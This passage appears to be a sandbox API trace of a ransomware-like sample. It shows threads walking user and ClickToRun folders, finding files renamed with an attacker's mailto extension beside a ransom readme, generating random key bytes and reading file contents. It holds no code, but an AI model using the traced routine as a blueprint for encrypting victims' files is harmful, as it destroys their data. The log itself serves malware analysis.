Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0177.788] wcscat (in: _Dest=0x2f92b40, _Source="DeploymentConfiguration.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" [0177.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0177.919] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1 [0177.920] wcscmp (_String1="Manifest.xml", _String2=".") returned 1 [0177.920] wcscmp (_String1="Manifest.xml", _String2="..") returned 1 [0177.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x2fa5f50 [0177.920] wcscpy (in: _Dest=0x2fa5f50, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.920] wcscat (in: _Dest=0x2fa5f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0177.920] wcscat (in: _Dest=0x2fa5f50, _Source="Manifest.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\Manifest.xml" [0177.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa5f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0177.920] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1 [0177.920] wcscmp (_String1="UserDeploymentConfiguration.xml", _String2=".") returned 1 [0177.920] wcscmp (_String1="UserDeploymentConfiguration.xml", _String2="..") returned 1 [0177.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x166) returned 0x2f92ca8 [0177.921] wcscpy (in: _Dest=0x2f92ca8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.921] wcscat (in: _Dest=0x2f92ca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0177.921] wcscat (in: _Dest=0x2f92ca8, _Source="UserDeploymentConfiguration.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" [0177.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0177.921] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1 [0177.921] wcscmp (_String1="UserManifest.xml", _String2=".") returned 1 [0177.921] wcscmp (_String1="UserManifest.xml", _String2="..") returned 1 [0177.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f92e18 [0177.922] wcscpy (in: _Dest=0x2f92e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}" [0177.922] wcscat (in: _Dest=0x2f92e18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\" [0177.922] wcscat (in: _Dest=0x2f92e18, _Source="UserManifest.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" [0177.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f92e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0177.922] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x3020f10 | out: lpFindFileData=0x3020f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0 [0177.922] FindClose (in: hFindFile=0x2f802e0 | out: hFindFile=0x2f802e0) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020f10) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2898) returned 1 [0177.923] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2760) returned 1 [0177.923] RtlExitUserThread (Status=0x0) Thread: id = 2726 os_tid = 0x12c4 [0177.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x30133a8 [0177.789] wcscpy (in: _Dest=0x30133a8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9" [0177.789] wcscat (in: _Dest=0x30133a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\" [0177.789] wcscat (in: _Dest=0x30133a8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*" [0177.789] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0177.789] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\cRX9\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0177.791] wcscmp (_String1=".", _String2=".") returned 0 [0177.791] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.791] wcscmp (_String1="..", _String2=".") returned 1 [0177.791] wcscmp (_String1="..", _String2="..") returned 0 [0177.791] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d79b030, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x6f719a20, ftLastAccessTime.dwHighDateTime=0x1d4cfa0, ftLastWriteTime.dwLowDateTime=0x6f719a20, ftLastWriteTime.dwHighDateTime=0x1d4cfa0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0177.791] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0177.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0177.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133a8) returned 1 [0177.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefae8) returned 1 [0177.791] RtlExitUserThread (Status=0x0) Thread: id = 2727 os_tid = 0x12c8 [0177.793] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7c) returned 0x30133a8 [0177.793] wcscpy (in: _Dest=0x30133a8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0177.793] wcscat (in: _Dest=0x30133a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0177.793] wcscat (in: _Dest=0x30133a8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*" [0177.793] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0177.793] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0x8b955980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b955980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0177.794] wcscmp (_String1=".", _String2=".") returned 0 [0177.794] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd04ebd0, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0x8b955980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b955980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.794] wcscmp (_String1="..", _String2=".") returned 1 [0177.794] wcscmp (_String1="..", _String2="..") returned 0 [0177.794] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c4a8c31, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c4a8c31, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c4cecac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0177.794] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0177.794] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0177.794] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30cf71f0, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0xca240f80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x8b955980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HUZJVU~1.D0E")) returned 1 [0177.794] wcscmp (_String1="h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0177.794] wcscmp (_String1="h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0177.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054ef0 [0177.794] wcscpy (in: _Dest=0x3054ef0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ" [0177.794] wcscat (in: _Dest=0x3054ef0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\" [0177.794] wcscat (in: _Dest=0x3054ef0, _Source="h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\DTZQ\\h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731" [0177.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0177.918] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30cf71f0, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0xca240f80, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x8b955980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbcff, dwReserved0=0x0, dwReserved1=0x0, cFileName="h UzjVUzQUyZCzzN5GKb.pdf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HUZJVU~1.D0E")) returned 0 [0177.918] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0177.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0177.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133a8) returned 1 [0177.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0468) returned 1 [0177.918] RtlExitUserThread (Status=0x0) Thread: id = 2728 os_tid = 0x12d0 [0177.795] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.795] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\Kk8Us_WY.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\kk8us_wy.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.795] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c37fe90 | out: lpFileSize=0x2c37fe90*=48448) returned 1 [0177.795] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xbd3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.795] ReadFile (in: hFile=0x368, lpBuffer=0x2c37fe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c37fe60, lpOverlapped=0x0 | out: lpBuffer=0x2c37fe64*, lpNumberOfBytesRead=0x2c37fe60*=0x4, lpOverlapped=0x0) returned 1 [0177.796] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0177.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0177.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95030 [0177.797] NtQuerySystemTime (in: CurrentTime=0x2c37fe3c | out: CurrentTime=0x2c37fe3c*=132121213351092845) returned 0x0 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xe840af47 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x347e9b87 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x1da3f00 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x4a7a8aa8 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xd231ae7c [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x734b1dc0 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xaf74cc6a [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x7c14c3d1 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x1f52197b [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x4c0fbd3d [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x74a8ff25 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x74582aa0 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x151a905e [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xd9213e2a [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x80568785 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x13472017 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x692c0762 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x1cea9b4f [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x649642a [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x7cf74833 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x3bc7d42f [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xf64a4184 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x4bad098 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x8414c35b [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x941197b2 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xd9a34434 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xdf846858 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xb559445 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0xcc0db737 [0177.797] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x45bd1425 [0177.798] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x2735b29c [0177.798] RtlRandom (in: Seed=0x2c37fe48 | out: Seed=0x2c37fe48) returned 0x21359193 [0177.809] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.809] ReadFile (in: hFile=0x368, lpBuffer=0x4f00058, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c37fe14, lpOverlapped=0x0 | out: lpBuffer=0x4f00058*, lpNumberOfBytesRead=0x2c37fe14*=0x4096, lpOverlapped=0x0) returned 1 [0177.809] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0177.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88a78 [0177.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.809] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.809] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f040f8 [0177.810] 